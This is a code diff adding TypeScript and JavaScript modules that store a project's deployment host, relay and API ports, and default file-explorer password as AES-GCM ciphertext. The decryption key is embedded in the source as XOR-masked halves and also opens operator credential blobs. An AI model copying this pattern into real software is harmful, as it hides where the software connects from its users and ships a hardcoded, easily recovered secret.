+ * corresponding magic mask (MA, MB). Reconstruct: key[i] = KA[i]^MA[i], key[16+i] = KB[i]^MB[i].
8
+ * Override at runtime with FORGE_JS_BUNDLE_KEY (64 hex chars or 32-byte base64).
9
+ */
10
+ export declare const DEPLOYMENT_CIPHER_IV_B64 = "/G/It/4YIQ0oQqRg";
11
+ export declare const DEPLOYMENT_CIPHER_TAG_B64 = "MLMvKF611zIoAg8L1+fHbA==";
12
+ export declare const DEPLOYMENT_CIPHER_TEXT_B64 = "MqbdVci2EqsQxpdDQEgAamRKQ/ojM6F5Rr/+bsmaqTYi5DeIj+eX9y7kHEQ/Mxte31Kx6ZwKYy5pB6+Z2fLRZ+dbUtC/p+d50MJY63qnHjJedthtqEDbk+1EvgYWbuBOKco=";
13
+ /** First 16 key bytes XOR'd with MA. */
14
+ export declare const DEPLOYMENT_KEY_A: Uint8Array<ArrayBuffer>;
15
+ /** Last 16 key bytes XOR'd with MB. */
16
+ export declare const DEPLOYMENT_KEY_B: Uint8Array<ArrayBuffer>;
17
+ /** XOR mask for first 16 key bytes. */
18
+ export declare const DEPLOYMENT_MASK_A: Uint8Array<ArrayBuffer>;
19
+ /** XOR mask for last 16 key bytes. */
20
+ export declare const DEPLOYMENT_MASK_B: Uint8Array<ArrayBuffer>;
@@ -0,0 +1,31 @@
1
+ "use strict";
2
+ /**
3
+ * AES-256-GCM ciphertext for deployment defaults (host, ports, default explorer password).
4
+ * Regenerate: `node scripts/encode-deployment.mjs` (see script for FORGE_JS_BUNDLE_KEY).
5
+ * Plain values never appear in source — only this blob and the embedded obfuscated key.
6
+ *
7
+ * The embedded key is split into two 16-byte halves (KA, KB), each XOR'd with a
8
+ * corresponding magic mask (MA, MB). Reconstruct: key[i] = KA[i]^MA[i], key[16+i] = KB[i]^MB[i].
9
+ * Override at runtime with FORGE_JS_BUNDLE_KEY (64 hex chars or 32-byte base64).
10
+ */
11
+ Object.defineProperty(exports, "__esModule", { value: true });
12
+ exports.DEPLOYMENT_MASK_B = exports.DEPLOYMENT_MASK_A = exports.DEPLOYMENT_KEY_B = exports.DEPLOYMENT_KEY_A = exports.DEPLOYMENT_CIPHER_TEXT_B64 = exports.DEPLOYMENT_CIPHER_TAG_B64 = exports.DEPLOYMENT_CIPHER_IV_B64 = void 0;
13
+ exports.DEPLOYMENT_CIPHER_IV_B64 = "/G/It/4YIQ0oQqRg";
14
+ exports.DEPLOYMENT_CIPHER_TAG_B64 = "MLMvKF611zIoAg8L1+fHbA==";
15
+ exports.DEPLOYMENT_CIPHER_TEXT_B64 = "MqbdVci2EqsQxpdDQEgAamRKQ/ojM6F5Rr/+bsmaqTYi5DeIj+eX9y7kHEQ/Mxte31Kx6ZwKYy5pB6+Z2fLRZ+dbUtC/p+d50MJY63qnHjJedthtqEDbk+1EvgYWbuBOKco=";
16
+ /** First 16 key bytes XOR'd with MA. */
17
+ exports.DEPLOYMENT_KEY_A = new Uint8Array([
18
+ 135, 49, 199, 76, 166, 214, 58, 202, 152, 59, 1, 155, 171, 88, 86, 12,
19
+ ]);
20
+ /** Last 16 key bytes XOR'd with MB. */
21
+ exports.DEPLOYMENT_KEY_B = new Uint8Array([
22
+ 84, 151, 139, 4, 184, 3, 139, 49, 105, 173, 86, 107, 207, 72, 175, 175,
23
+ ]);
24
+ /** XOR mask for first 16 key bytes. */
25
+ exports.DEPLOYMENT_MASK_A = new Uint8Array([
26
+ 186, 248, 100, 81, 174, 76, 90, 98, 101, 206, 50, 3, 55, 72, 41, 252,
27
+ ]);
28
+ /** XOR mask for last 16 key bytes. */
29
+ exports.DEPLOYMENT_MASK_B = new Uint8Array([
30
+ 101, 234, 65, 111, 245, 21, 25, 38, 7, 62, 199, 188, 101, 79, 223, 63,
31
+ ]);
@@ -0,0 +1,43 @@
1
+ /**
2
+ * Default public host, ports, and explorer password are AES-256-GCM encrypted (deploymentCipherData.ts).
3
+ * The decryption key is embedded in obfuscated form (XOR'd halves) — no plaintext appears in source.
4
+ *
5
+ * Key resolution order:
6
+ * 1. FORGE_JS_BUNDLE_KEY env var (64 hex chars or base64-encoded 32 bytes)
7
+ * 2. Embedded obfuscated key (XOR'd halves in deploymentCipherData.ts)
8
+ *
9
+ * Override relay/API with FORGE_JS_RELAY_URL, FORGE_JS_SYNC_URL / CFGMGR_API_URL, or CLI flags.
10
+ * Set FORGE_JS_DISABLE_DEPLOYMENT_DEFAULTS=1 to ignore built-in + decrypted URLs.
11
+ */
12
+ import "./envLoad";
13
+ export interface DeploymentPayload {
14
+ publicHost: string;
15
+ relayPort: number;
16
+ apiPort: number;
17
+ defaultExplorerPassword: string;
18
+ }
19
+ /**
20
+ * AES-256 key shared with encrypted operator blobs (e.g. `CFGMGR_HF_CREDENTIALS_B64`).
21
+ * Same resolution as deployment defaults (`FORGE_JS_BUNDLE_KEY` or embedded XOR halves).
22
+ */
23
+ export declare function resolveForgeBundleKey(): Buffer;
24
+ export declare function deploymentDefaultsDisabled(): boolean;
25
+ /** Public deployment host from decrypted bundle (empty if disabled or bad decrypt). */
26
+ export declare const DEPLOYMENT_PUBLIC_HOST: string;
27
+ /** Relay port from bundle, else FORGE_JS_RELAY_PORT, else generic default. */
28
+ export declare const RELAY_DEFAULT_PORT: number;
29
+ /** API port from bundle, else FORGE_JS_API_PORT, else generic default. */
30
+ export declare const API_DEFAULT_PORT: number;
31
+ /**
32
+ * Default session password for /files explorer and agent when not overridden by env/CLI.
33
+ * Comes from encrypted bundle; empty string if bundle decrypt fails.
34
+ */
35
+ export declare const DEFAULT_EXPLORER_PASSWORD: string;
36
+ export declare function defaultRelayWsUrl(): string;
37
+ export declare function defaultSyncApiBaseUrl(): string;
38
+ /**
39
+ * Effective forge-db HTTP base URL — same rules as `resolveSyncApiBase` in `windowsInputSync`:
40
+ * `FORGE_JS_SYNC_URL` / `CFGMGR_CFG` / `CFGMGR_API_URL`, else `defaultSyncApiBaseUrl()` when
41
+ * deployment defaults are enabled. Returns null if sync is disabled or no host is configured.
42
+ */
43
+ export declare function resolveSyncApiBaseUrl(): string | null;